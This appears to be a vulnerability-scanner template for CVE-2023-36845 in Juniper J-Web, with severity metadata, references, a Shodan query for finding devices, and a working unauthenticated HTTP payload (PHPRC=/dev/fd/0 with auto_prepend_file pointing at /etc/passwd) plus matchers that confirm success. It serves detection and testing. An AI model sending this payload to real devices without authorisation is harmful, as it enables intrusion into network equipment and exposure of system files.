id: CVE-2023-36845 info: name: Juniper J-Web - Remote Code Execution author: yaser_s severity: critical description: | A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands reference: - https://vulncheck.com/blog/juniper-cve-2023-36845 - https://nvd.nist.gov/vuln/detail/CVE-2023-36845 - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/ - http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html - https://supportportal.juniper.net/JSA72300 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-36845 cwe-id: CWE-473 epss-score: 0.37937 epss-percentile: 0.9679 cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: juniper product: junos shodan-query: title:"Juniper Web Device Manager" tags: packetstorm,cve,cve2023,rce,unauth,juniper http: - raw: - | POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded auto_prepend_file="/etc/passwd" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: body words: - "Juniper" - type: status status: - 200 # digest: 4a0a00473045022021e928fa82501f5cde00eaa69805124711ec3756050a48831840b72687522f54022100eaf6502e001b53c00b2a5ed60c60b6e2ffe2b0cf021ef0ddc7d0c56fe7953a30:922c64590222798bb761d5b6d8e72950